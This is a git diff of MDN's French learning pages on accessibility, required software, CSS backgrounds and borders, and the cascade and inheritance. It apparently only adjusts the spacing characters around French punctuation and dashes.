b/files/fr/learn/common_questions/what_is_accessibility/index.md index 6df7c2373b..84ea2bdfd1 100644 --- a/files/fr/learn/common_questions/what_is_accessibility/index.md +++ b/files/fr/learn/common_questions/what_is_accessibility/index.md @@ -15,11 +15,11 @@ Cet article aborde les concepts de base qui forment l'accessibilité pour le Web <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td>Aucun.</td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Comprendre ce qu'est l'accessibilité et pourquoi elle est importante. </td> @@ -31,7 +31,7 @@ Que ce soit en raison de limitations physiques ou techniques, il peut arriver qu ## Pédagogie active -_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ ## Aller plus loin diff --git a/files/fr/learn/common_questions/what_software_do_i_need/index.md b/files/fr/learn/common_questions/what_software_do_i_need/index.md index bc77e82145..709a7c1107 100644 --- a/files/fr/learn/common_questions/what_software_do_i_need/index.md +++ b/files/fr/learn/common_questions/what_software_do_i_need/index.md @@ -14,7 +14,7 @@ Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre e <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez déjà connaître <a href="/fr/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche" @@ -24,7 +24,7 @@ Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre e </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Connaître les logiciels qui sont nécessaires pour créer, éditer, mettre en ligne ou consulter un site web. @@ -43,7 +43,7 @@ Tous les systèmes d'exploitation (ou presque) possèdent par défaut un éditeu ## Pédagogie active -_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ ## Aller plus loin diff --git a/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md b/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md index 5be0014eeb..5638a78c16 100644 --- a/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md +++ b/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md @@ -28,7 +28,7 @@ Avec cette évaluation, vous obtiendrez une meilleure pratique dans la création </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme les encadrements et les arrière‑plans. @@ -39,11 +39,11 @@ Avec cette évaluation, vous obtiendrez une meilleure pratique dans la création ## Départ -Pour débuter, vous devez : +Pour débuter, vous devez : - faire des copies locales de ces [HTML](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/index.html) et [CSS](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/style.css) — enregistrez‑les sous les noms `index.html` et `style.css` dans un nouveau répertoire. -> **Note :** Autrement, vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément `<style>` dans l'élément `head` du document. +> **Note :** Autrement, vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément `<style>` dans l'élément `head` du document. ## Résumé du projet @@ -55,7 +55,7 @@ Votre tâche consiste à créer une boîte élégante et rafraîchissante tout e ### Composition de la boîte -Vous devez appliquer un style à l'élément {{htmlelement("p")}} en lui donnant : +Vous devez appliquer un style à l'élément {{htmlelement("p")}} en lui donnant : - une largeur raisonnable pour un gros bouton, disons autout de 200 pixels, - une hauteur raisonnable pour un gros bouton en centrant le texte verticalement dans ce processus, @@ -70,13 +70,13 @@ Vous devez appliquer un style à l'élément {{htmlelement("p")}} en lui donnant ## Exemple -Cette capture d'écran montre un exemple de ce à quoi l'aspect final pourrait ressembler : +Cette capture d'écran montre un exemple de ce à quoi l'aspect final pourrait ressembler :  ## Évaluation -Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abord, il n'y rien à gagner en trichant ! +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abord, il n'y rien à gagner en trichant ! {{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}} @@ -84,7 +84,7 @@ Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvo ## Dans ce module -- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) +- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) - [Arrière-plans](/fr/Apprendre/CSS/styliser_boites/Backgrounds) - [Encadrements](/fr/docs/Apprendre/CSS/styliser_boites/Borders) - [Mise en page des tableaux](/fr/Apprendre/CSS/styliser_boites/Styling_tables) diff --git a/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md b/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md index e8d7882fc1..85bdc70773 100644 --- a/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md +++ b/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md @@ -11,7 +11,7 @@ Dans cette leçon, nous verrons quelques-unes des mises en forme créatives auto <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Compétences informatique basiques, <a @@ -28,7 +28,7 @@ Dans cette leçon, nous verrons quelques-unes des mises en forme créatives auto </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Apprendre comment mettre en forme l'arrière-plan et les bordures.</td> </tr> </tbody> @@ -107,7 +107,7 @@ La propriété [`background-position`](/fr/docs/Web/CSS/background-position) per Les valeurs les plus communes pour `background-position` se présentent sous la forme d'un couple — une valeur horizontale suivie d'une valeur verticale. -Vous pouvez utiliser les mots-clé tels que `top` et `right` (vous trouverez les autres valeurs possibles sur la page [`background-image`](/fr/docs/Web/CSS/background-image)) : +Vous pouvez utiliser les mots-clé tels que `top` et `right` (vous trouverez les autres valeurs possibles sur la page [`background-image`](/fr/docs/Web/CSS/background-image)) : ```css .box { @@ -117,7 +117,7 @@ Vous pouvez utiliser les mots-clé tels que `top` et `right` (vous trouverez les } ``` -Ainsi que des valeurs de [longueurs](/fr/docs/Web/CSS/length), ou des [pourcentages](/fr/docs/Web/CSS/percentage) : +Ainsi que des valeurs de [longueurs](/fr/docs/Web/CSS/length), ou des [pourcentages](/fr/docs/Web/CSS/percentage) : ```css .box { @@ -127,7 +127,7 @@ Ainsi que des valeurs de [longueurs](/fr/docs/Web/CSS/length), ou des [pourcenta } ``` -On peut utiliser simultanément mots-clé, dimensions et pourcentages, par exemple : +On peut utiliser simultanément mots-clé, dimensions et pourcentages, par exemple : ```css .box { @@ -189,14 +189,14 @@ Chaque valeur des différentes propriétés va correspondre aux valeurs placées Une autre option que nous avons à notre disposition pour les arrières-plans est de spécifier comment ils défilent quand le contenu défile lui-même. Ce comportement est contrôlé grâce à la propriété [`background-attachment`](/fr/docs/Web/CSS/background-attachment) , qui peut prendre ces valeurs: -- `scroll` : L'arrière-plan de l'élément défile lorsqu'on fait défiler la page. Si le contenu de l'élément défile, l'arrière-plan ne bouge pas. Dans la pratique, l'effet obtenu est que l'arrière-plan est fixé à la position de la page et défile comme elle. -- `fixed` : L'arrière-plan de l'élément est fixe dans la zone d'affichage ( +- `scroll` : L'arrière-plan de l'élément défile lorsqu'on fait défiler la page. Si le contenu de l'élément défile, l'arrière-plan ne bouge pas. Dans la pratique, l'effet obtenu est que l'arrière-plan est fixé à la position de la page et défile comme elle. +- `fixed` : L'arrière-plan de l'élément est fixe dans la zone d'affichage ( <i lang="en">viewport</i> ) et il ne défile pas lorsqu'on fait défiler ou la page ou le contenu de l'élément. L'arrière-plan reste toujours à la même position sur l'écran. -- `local` : Cette valeur fut ajoutée plus tard en raison de la confusion engendrée par la valeur `scroll` et son comportement qui ne correspond pas aux cas d'usage. `local` permet de fixer l'arrière-plan sur l'élément sur lequel il est défini afin que, lorsqu'on fait défiler l'élément, l'arrière-plan défile avec lui. +- `local` : Cette valeur fut ajoutée plus tard en raison de la confusion engendrée par la valeur `scroll` et son comportement qui ne correspond pas aux cas d'usage. `local` permet de fixer l'arrière-plan sur l'élément sur lequel il est défini afin que, lorsqu'on fait défiler l'élément, l'arrière-plan défile avec lui. La propriété [`background-attachment`](/fr/docs/Web/CSS/background-attachment) n'a d'effet que lorsque le contenu défile. Pour observer cet effet, nous avons construit une démo afin d'illustrer les différences entre les trois valeurs : [background-attachment.html](https://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html) (vous pouvez également consulter [le code source de cette démo](https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds)). @@ -225,7 +225,7 @@ Les lecteurs d'écran ne traitent pas les images de fond, elles ne doivent donc Lors de l'apprentissage du modèle de boîte, on a pu voir comment les bordures jouaient un rôle sur la taille de la boîte. Dans cette leçon, nous allons voir comment créer des bordures. Généralement, lorsqu'on ajoute des bordures à un élément avec CSS, on utilise une propriété raccourcie qui définit la couleur, l'épaisseur et le style de la bordure. -On peut définir une bordure pour les quatre côtés d'une boîte avec la propriété [`border`](/fr/docs/Web/CSS/border) : +On peut définir une bordure pour les quatre côtés d'une boîte avec la propriété [`border`](/fr/docs/Web/CSS/border) : ```css *.box { @@ -233,7 +233,7 @@ On peut définir une bordure pour les quatre côtés d'une boîte avec la propri }* ``` -On peut aussi cibler un seul des côtés de la boîte, par exemple : +On peut aussi cibler un seul des côtés de la boîte, par exemple : ```css .box { @@ -241,7 +241,7 @@ On peut aussi cibler un seul des côtés de la boîte, par exemple : } ``` -Les propriétés individuelles équivalentes pour ces notations raccourcies seraient : +Les propriétés individuelles équivalentes pour ces notations raccourcies seraient : ```css .box { @@ -251,7 +251,7 @@ Les propriétés individuelles équivalentes pour ces notations raccourcies sera } ``` -Pour la propriété qui concerne un des côtés : +Pour la propriété qui concerne un des côtés : ```css .box { @@ -291,7 +291,7 @@ Dans l'exemple ci-dessus, nous avons d'abord fixé la valeur pour les quatre coi {{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 750)}} -## Testez vos compétences ! +## Testez vos compétences ! Testons vos nouvelles connaissances : en partant de l'exemple fourni plus bas : diff --git a/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md b/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md index 855f04d88b..0d3e11cd3e 100644 --- a/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md +++ b/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md @@ -15,7 +15,7 @@ original_slug: Apprendre/CSS/Building_blocks/Cascade_et_heritage --- {{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}} -Le but de cette leçon est de développer votre compréhension des concepts les plus fondamentaux du CSS — la cascade, la spécificité et l'héritage — qui contrôlent la manière dont le CSS est appliqué au HTML et la manière dont les conflits sont résolus. +Le but de cette leçon est de développer votre compréhension des concepts les plus fondamentaux du CSS — la cascade, la spécificité et l'héritage — qui contrôlent la manière dont le CSS est appliqué au HTML et la manière dont les conflits sont résolus. Bien que cette leçon puisse sembler moins pertinente dans l'immédiat et un peu plus académique que d'autres parties du cours, la compréhension de ces éléments vous épargnera bien des soucis plus tard ! Nous vous conseillons de parcourir attentivement cette section et de vérifier que vous avez bien compris les concepts avant de passer à la suite. @@ -28,13 +28,13 @@ Bien que cette leçon puisse sembler moins pertinente dans l'immédiat et un peu <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" >suite logicielle de base installée</a - >, compétences élémentaires pour <a + >, compétences élémentaires pour <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" >travailler avec des fichiers</a - >, connaissance de base du HTML (cf. <a + >, connaissance de base du HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" >Introduction à HTML</a - >), et une idée de <a + >), et une idée de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" >Comment fonctionne CSS</a >. @@ -52,30 +52,30 @@ Bien que cette leçon puisse sembler moins pertinente dans l'immédiat et un peu ## Règles contradictoires -CSS est l'acronyme de **Cascading Style Sheets**, qu'on peut traduire par *feuilles de style en cascade* et la compréhension de ce premier mot *cascading* est cruciale — la façon dont la cascade se comporte est la clé de la compréhension du CSS. +CSS est l'acronyme de **Cascading Style Sheets**, qu'on peut traduire par *feuilles de style en cascade* et la compréhension de ce premier mot *cascading* est cruciale — la façon dont la cascade se comporte est la clé de la compréhension du CSS. -À un moment donné, vous travaillerez sur un projet et vous constaterez que le CSS que vous pensiez appliquer à un élément ne fonctionne pas. En général, le problème est que vous avez créé deux règles qui pourraient potentiellement s'appliquer au même élément. La **cascade**, et le concept étroitement lié de spécificité, sont des mécanismes qui contrôlent quelle règle s'applique lorsqu'il y a un tel conflit. La règle qui régit votre élément n'est peut-être pas celle à laquelle vous vous attendiez, vous devez donc comprendre comment ces mécanismes fonctionnent. +À un moment donné, vous travaillerez sur un projet et vous constaterez que le CSS que vous pensiez appliquer à un élément ne fonctionne pas. En général, le problème est que vous avez créé deux règles qui pourraient potentiellement s'appliquer au même élément. La **cascade**, et le concept étroitement lié de spécificité, sont des mécanismes qui contrôlent quelle règle s'applique lorsqu'il y a un tel conflit. La règle qui régit votre élément n'est peut-être pas celle à laquelle vous vous attendiez, vous devez donc comprendre comment ces mécanismes fonctionnent. -Le concept d'**héritage** est aussi à garder en tête dans ces situations : certaines propriétés CSS par défaut héritent de la valeur donnée à l'élément parent de l'élément courant, d'autres non. Cela peut être à l'origine de comportements inattendus. +Le concept d'**héritage** est aussi à garder en tête dans ces situations : certaines propriétés CSS par défaut héritent de la valeur donnée à l'élément parent de l'élément courant, d'autres non. Cela peut être à l'origine de comportements inattendus. Commençons par examiner rapidement les éléments clés dont il est question, puis examinons chacun d'eux à tour de rôle et voyons comment ils interagissent entre eux et avec votre CSS. Cela peut sembler être un ensemble de concepts difficiles à comprendre. Cependant, à mesure que vous vous entraînerez à écrire des CSS, la façon dont ils fonctionnent deviendra plus évidente pour vous. ### La cascade -À un niveau élémentaire, la **cascade** des styles signifie que l'ordre d'apparition des règles dans le CSS a une importance ; quand deux règles applicables ont la même spécificité, c'est la dernière déclarée qui sera utilisée pour la mise en forme. +À un niveau élémentaire, la **cascade** des styles signifie que l'ordre d'apparition des règles dans le CSS a une importance ; quand deux règles applicables ont la même spécificité, c'est la dernière déclarée qui sera utilisée pour la mise en forme. -Dans l'exemple ci-dessous deux règles pourraient s'appliquer à `h1`. Au final `h1` est coloré en bleu — ces règles ont les mêmes sélecteurs, elles ont donc la même spécificité ; dans ce cas, c'est la règle écrite en dernier dans le CSS qui l'emporte. +Dans l'exemple ci-dessous deux règles pourraient s'appliquer à `h1`. Au final `h1` est coloré en bleu — ces règles ont les mêmes sélecteurs, elles ont donc la même spécificité ; dans ce cas, c'est la règle écrite en dernier dans le CSS qui l'emporte. {{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} ### Spécificité -Quand des règles avec des sélecteurs différents s'appliquent sur un même élément, le navigateur choisit la règle qui a la plus grande spécificité. La spécificité mesure essentiellement combien la sélection est précise : +Quand des règles avec des sélecteurs différents s'appliquent sur un même élément, le navigateur choisit la règle qui a la plus grande spécificité. La spécificité mesure essentiellement combien la sélection est précise : -- Un sélecteur d'élément est peu spécifique — il cible tous les éléments d'un type donné dans la page — son score est donc faible ; -- Un sélecteur de classe est plus spécifique — dans la page, il ne cible que les éléments dont l'attribut `class` a la valeur choisie — son score est plus important. +- Un sélecteur d'élément est peu spécifique — il cible tous les éléments d'un type donné dans la page — son score est donc faible ; +- Un sélecteur de classe est plus spécifique — dans la page, il ne cible que les éléments dont l'attribut `class` a la valeur choisie — son score est plus important. -Voyons cela sur un exemple. Ci-dessous, on retrouve deux règles qui pourraient s'appliquer à `h1`. Au final `h1` est coloré en rouge — le sélecteur de classe donne une plus grande spécificité à sa règle, et du coup c'est cette règle qui est choisie même si elle apparaît plus tôt dans le CSS. +Voyons cela sur un exemple. Ci-dessous, on retrouve deux règles qui pourraient s'appliquer à `h1`. Au final `h1` est coloré en rouge — le sélecteur de classe donne une plus grande spécificité à sa règle, et du coup c'est cette règle qui est choisie même si elle apparaît plus tôt dans le CSS. {{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} @@ -83,72 +83,72 @@ Nous expliquerons le score de spécificité et d'autres points reliés un peu pl ### Héritage -L'héritage est lui aussi à comprendre dans ce contexte — certaines valeurs pour une propriété CSS se transmettent des éléments parents vers leurs enfants, d'autres non. +L'héritage est lui aussi à comprendre dans ce contexte — certaines valeurs pour une propriété CSS se transmettent des éléments parents vers leurs enfants, d'autres non. -Par exemple, si vous fixez une `color` et une `font-family` pour un élément, tout élément contenu dans le premier sera mis en forme avec la même couleur et la même police, à moins qu'on lui ait appliqué directement des règles. +Par exemple, si vous fixez une `color` et une `font-family` pour un élément, tout élément contenu dans le premier sera mis en forme avec la même couleur et la même police, à moins qu'on lui ait appliqué directement des règles. {{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} -Certaines propriétés ne se transmettent pas — par exemple si vous attribuez un {{cssxref("width")}} de 50% à un élément, aucun de ses descendants n'aura une largeur diminuée de moitié par rapport à celle de son parent. Si c'était le cas, l'usage de CSS serait particulièrement frustrant ! +Certaines propriétés ne se transmettent pas — par exemple si vous attribuez un {{cssxref("width")}} de 50% à un élément, aucun de ses descendants n'aura une largeur diminuée de moitié par rapport à celle de son parent. Si c'était le cas, l'usage de CSS serait particulièrement frustrant ! -> **Note :** Sur MDN, dans les pages de référence des propriétés CSS, vous trouverez des encarts d'information technique, le plus souvent au pied de la section de spécifications, dans lesquels sont listés nombre de données sur la propriété, notamment si elle est héritée ou non. Voir la [section des spécifications de la propriété color](/fr/docs/Web/CSS/color#Specifications), par exemple. +> **Note :** Sur MDN, dans les pages de référence des propriétés CSS, vous trouverez des encarts d'information technique, le plus souvent au pied de la section de spécifications, dans lesquels sont listés nombre de données sur la propriété, notamment si elle est héritée ou non. Voir la [section des spécifications de la propriété color](/fr/docs/Web/CSS/color#Specifications), par exemple. ## Comprendre comment ces concepts se combinent -Ces trois concepts combinés permettent de décider dans tous les cas quelle règle CSS s'applique à quel élément ; dans les sections ci-dessous nous les verrons en action, ensemble. Cela peut parfois sembler compliqué, mais avec l'expérience les choses vous sembleront plus claires, et de toute façon, si vous oubliez, vous pourrez toujours retrouver tous les détails ici ! +Ces trois concepts combinés permettent de décider dans tous les cas quelle règle CSS s'applique à quel élément ; dans les sections ci-dessous nous les verrons en action, ensemble. Cela peut parfois sembler compliqué, mais avec l'expérience les choses vous sembleront plus claires, et de toute façon, si vous oubliez, vous pourrez toujours retrouver tous les détails ici ! ## Comprendre l'héritage -Commençons par l'héritage. Dans l'exemple ci-dessous nous avons un {{HTMLElement("ul")}}, contenant plusieurs niveaux de listes imbriquées. Nous avons spécifié une bordure, un remplissage (`padding`) et une couleur de police pour la `<ul>` extérieure. +Commençons par l'héritage. Dans l'exemple ci-dessous nous avons un {{HTMLElement("ul")}}, contenant plusieurs niveaux de listes imbriquées. Nous avons spécifié une bordure, un remplissage (`padding`) et une couleur de police pour la `<ul>` extérieure. -La couleur est transmise aux enfants directs, et aussi enfants indirects — les `<li>` de la première liste, et ceux de la première liste de deuxième niveau. Nous avons ensuite ajouté une classe `special` à la seconde liste imbriquée et nous lui appliquons une autre couleur. Cette dernière est transmise aux descendants. +La couleur est transmise aux enfants directs, et aussi enfants indirects — les `<li>` de la première liste, et ceux de la première liste de deuxième niveau. Nous avons ensuite ajouté une classe `special` à la seconde liste imbriquée et nous lui appliquons une autre couleur. Cette dernière est transmise aux descendants. {{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} -Les propriétés telles que largeur (comme mentionnée plus haut), marges, remplissage, et bordures ne se transmettent pas par héritage. Si les bordures se transmettaient aux enfants de la liste, on obtiendrait un effet étrange ! +Les propriétés telles que largeur (comme mentionnée plus haut), marges, remplissage, et bordures ne se transmettent pas par héritage. Si les bordures se transmettaient aux enfants de la liste, on obtiendrait un effet étrange ! Dans la plupart des cas, le sens commun permet de comprendre quelles propriétés sont héritées par défaut et quelles propriétés ne se transmettent pas. -### Contrôler l'héritage +### Contrôler l'héritage -CSS propose quatre valeurs spéciales universelles pour contrôler l'héritage. Ces valeurs sont applicables à toute propriété CSS. +CSS propose quatre valeurs spéciales universelles pour contrôler l'héritage. Ces valeurs sont applicables à toute propriété CSS. - {{cssxref("inherit")}} - - : La propriété correspondante prend la valeur définie dans l'élément parent. Dans les faits, cela "active l'héritage". + - : La propriété correspondante prend la valeur définie dans l'élément parent. Dans les faits, cela "active l'héritage". - {{cssxref("initial")}} - - : La propriété correspondante prend la valeur par défaut définie dans la feuille de style du navigateur. Si aucune valeur n'est définie par défaut dans le navigateur et que la propriété est transmise par héritage la propriété est redéfinie à `inherit`. + - : La propriété correspondante prend la valeur par défaut définie dans la feuille de style du navigateur. Si aucune valeur n'est définie par défaut dans le navigateur et que la propriété est transmise par héritage la propriété est redéfinie à `inherit`. - {{cssxref("unset")}} - - : Redéfinit la propriété à sa valeur naturelle : si la propriété est transmise par héritage, le comportement est le même que `inherit`, sinon il est identique à `initial`. + - : Redéfinit la propriété à sa valeur naturelle : si la propriété est transmise par héritage, le comportement est le même que `inherit`, sinon il est identique à `initial`. -> **Note :** Il existe aussi la valeur {{cssxref("revert")}}, dont le support par les navigateurs est limité. +> **Note :** Il existe aussi la valeur {{cssxref("revert")}}, dont le support par les navigateurs est limité. -> **Note :** Voir {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} pour plus d'informations sur chacune de ces valeurs et comment elles fonctionnent. +> **Note :** Voir {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} pour plus d'informations sur chacune de ces valeurs et comment elles fonctionnent. -Voyons maintenant comment les valeurs universelles fonctionnent sur un exemple : une liste de liens. Dans l'exemple live ci-dessous, vous pourrez manipuler CSS et observer directement les effets de vos modifications. Jouer avec le code est vraiment le meilleur moyen pour progresser en HTML et CSS. +Voyons maintenant comment les valeurs universelles fonctionnent sur un exemple : une liste de liens. Dans l'exemple live ci-dessous, vous pourrez manipuler CSS et observer directement les effets de vos modifications. Jouer avec le code est vraiment le meilleur moyen pour progresser en HTML et CSS. Par exemple : -1. Le deuxième item de la liste est dans la classe `my-class-1`. Cela définit la couleur de l'élément `<a>` qu'il contient à `inherit`. Si vous supprimez cette règle, quelle est la couleur du lien ? +1. Le deuxième item de la liste est dans la classe `my-class-1`. Cela définit la couleur de l'élément `<a>` qu'il contient à `inherit`. Si vous supprimez cette règle, quelle est la couleur du lien ? 2. Comprenez vous pourquoi les troisième et quatrième liens sont de la couleur qu'ils sont ? Dans la négative, relisez la description des valeurs spéciales ci-dessus. -3. Quels liens changeront de couleur si on redéfinit la couleur de l'élément `<a>` — par exemple `a { color: red; }` ? +3. Quels liens changeront de couleur si on redéfinit la couleur de l'élément `<a>` — par exemple `a { color: red; }` ? {{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} -### Réinitialiser la valeur de toutes les propriétés +### Réinitialiser la valeur de toutes les propriétés -En CSS, la propriété raccourci `all` peut être utilisée pour appliquer l'une des valeurs d'héritage à (presque) toutes les propriétés d'un coup. Elle peut prendre n'importe laquelle des valeurs d'héritage (`inherit`, `initial`, `unset`, ou `revert`). C'est un moyen pratique d'annuler les modifications apportées aux styles pour revenir à un point de départ connu avant de commencer de nouvelles modifications. +En CSS, la propriété raccourci `all` peut être utilisée pour appliquer l'une des valeurs d'héritage à (presque) toutes les propriétés d'un coup. Elle peut prendre n'importe laquelle des valeurs d'héritage (`inherit`, `initial`, `unset`, ou `revert`). C'est un moyen pratique d'annuler les modifications apportées aux styles pour revenir à un point de départ connu avant de commencer de nouvelles modifications. -Dans l'exemple ci-dessous, nous avons deux blocs de citations. Pour le premier, un style est appliqué à l'élément `<blockquote>` lui-même, le second `<blockquote>` appartient à une classe qui définit la valeur de `all` à `unset`. +Dans l'exemple ci-dessous, nous avons deux blocs de citations. Pour le premier, un style est appliqué à l'élément `<blockquote>` lui-même, le second `<blockquote>` appartient à une classe qui définit la valeur de `all` à `unset`. {{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} -Essayez de donner à `all` l'une des autres valeurs possibles et observez les changements. +Essayez de donner à `all` l'une des autres valeurs possibles et observez les changements. -## Comprendre la cascade +## Comprendre la cascade -Nous comprenons maintenant pourquoi un paragraphe imbriqué profondément dans la structure du code HTML a la même couleur que le `<body>`, et à partir des parties précédentes, nous comprenons comment changer la mise en forme d'un élément où qu'il soit dans le document — que ce soit par un sélecteur de type ou en créant une classe. Nous allons maintenant examiner comment la cascade détermine la règle CSS qui s'applique quand plusieurs règles ciblent le même élément. +Nous comprenons maintenant pourquoi un paragraphe imbriqué profondément dans la structure du code HTML a la même couleur que le `<body>`, et à partir des parties précédentes, nous comprenons comment changer la mise en forme d'un élément où qu'il soit dans le document — que ce soit par un sélecteur de type ou en créant une classe. Nous allons maintenant examiner comment la cascade détermine la règle CSS qui s'applique quand plusieurs règles ciblent le même élément. -Il y a trois facteurs à prendre en compte, listés ci-dessous par ordre décroissant d'importance. Les premiers critères prennent le dessus sur ceux qui viennent après : +Il y a trois facteurs à prendre en compte, listés ci-dessous par ordre décroissant d'importance. Les premiers critères prennent le dessus sur ceux qui viennent après : 1. **Importance** 2. **Spécificité** @@ -156,34 +156,34 @@ Il y a trois facteurs à prendre en compte, listés ci-dessous par ordre décroi Passons les en revue en partant de la fin, pour voir comment les navigateurs déterminent quel CSS doit être appliqué. -### Ordre d'apparition dans le source +### Ordre d'apparition dans le source -Nous avons déjà vu comment l'ordre d'apparition dans le source compte dans la cascade. Si deux règles avec le même poids s'appliquent alors celle qui vient en dernier dans le CSS l'emporte. L'intuition est la suivante : plus on avance dans le CSS plus on s'approche de l'élément ciblé ; quand une règle le sélectionne, elle écrase la précédente jusqu'à la dernière règle rencontrée dans le source qui l'emporte et met en forme l'élément.. +Nous avons déjà vu comment l'ordre d'apparition dans le source compte dans la cascade. Si deux règles avec le même poids s'appliquent alors celle qui vient en dernier dans le CSS l'emporte. L'intuition est la suivante : plus on avance dans le CSS plus on s'approche de l'élément ciblé ; quand une règle le sélectionne, elle écrase la précédente jusqu'à la dernière règle rencontrée dans le source qui l'emporte et met en forme l'élément.. ### Spécificité -L'ordre des règles dans le source est important. On rencontre pourtant des situations où deux règles ciblent le même élément mais c'est la première écrite dans le source qui s'applique. C'est que la première règle a une **spécificité** plus élevée — elle est plus spécifique, elle est donc choisie par le navigateur pour mettre en forme l'élément. +L'ordre des règles dans le source est important. On rencontre pourtant des situations où deux règles ciblent le même élément mais c'est la première écrite dans le source qui s'applique. C'est que la première règle a une **spécificité** plus élevée — elle est plus spécifique, elle est donc choisie par le navigateur pour mettre en forme l'élément. -Comme nous l'avons vu plus haut dans cette leçon, un sélecteur de classe a plus de poids qu'un sélecteur d'élément, de sorte que les propriétés définies sur la classe remplaceront celles appliquées directement à l'élément. +Comme nous l'avons vu plus haut dans cette leçon, un sélecteur de classe a plus de poids qu'un sélecteur d'élément, de sorte que les propriétés définies sur la classe remplaceront celles appliquées directement à l'élément. -Un point important à noter : dans la cascade, on pourrait penser qu'une règle postérieure écrase une règle antérieure. En fait, ce n'est pas la règle toute entière qui est écrasée, mais seulement les propriétés communes aux deux règles qui sont redéfinies par la dernière version rencontrée. +Un point important à noter : dans la cascade, on pourrait penser qu'une règle postérieure écrase une règle antérieure. En fait, ce n'est pas la règle toute entière qui est écrasée, mais seulement les propriétés communes aux deux règles qui sont redéfinies par la dernière version rencontrée. -Ce comportement permet d'éviter la répétition dans votre CSS. Une pratique courante consiste à définir des styles génériques pour les éléments de base, puis à créer des classes pour les cas particuiers. Par exemple, dans la feuille de style ci-dessous, nous avons défini des styles génériques pour les titres de niveau 2, puis créé des classes qui ne modifient que certaines 